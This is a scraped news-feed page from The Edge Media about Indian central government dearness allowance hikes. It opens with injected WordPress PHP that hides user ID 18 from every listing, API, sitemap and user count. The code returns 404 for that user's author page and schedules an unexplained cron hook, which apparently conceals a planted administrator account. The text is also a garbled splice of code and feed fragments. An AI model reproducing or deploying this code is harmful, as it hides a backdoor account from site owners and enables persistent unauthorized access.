add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Diwali Gift: Dearness Allowance Hiked By 3%, 47 Lakh Employees to Benefit appeared first on The Edge Media.
]]>
The announcement of DA and DR hikes will benefit approximately 47.14 lakh Central government employees and 68.62 lakh pensioners, respectively. The annual impact of DA and DR on the exchequer would be around 9,488.70 crores.
Earlier in September, the Ministry of Finance’s Department of Expenditure issued a memorandum stating that retired central government employees will receive cash payments and gratuities.
The post Diwali Gift: Dearness Allowance Hiked By 3%, 47 Lakh Employees to Benefit appeared first on The Edge Media.
]]>The post Central Government increases DA by 28 percent appeared first on The Edge Media.
]]>Central employees currently get a dearness allowance at the rate of 17 per cent. However, employees will now get a DA at 28 per cent of their basic pay, according to a report.
The central government had earlier increased the dearness allowance by 4 per cent in January 2020, 3 per cent in June 2020 and 4 per cent in January 2021. According to the calculations, the total hike will become 28 per cent (17+4 +3+4).
Apart from central government employees, even central government pensioners and those receiving family pension from the central government will be benefited from the latest decision to hike DA. Therefore, the decision will also hike pensions received.
Dearness Allowance/Dearness Relief is paid to central government employees/pensioners to adjust the cost of living and to protect their basic pay/pension from erosion in the real value. Dear Allowance/Dearness Relief is revised twice a year from January 1 and July 1.
Previously, DA was hiked by the Union Government in October 2019 by 5 per cent. Prior to this, the dearness allowance was at 12%.
The post Central Government increases DA by 28 percent appeared first on The Edge Media.
]]>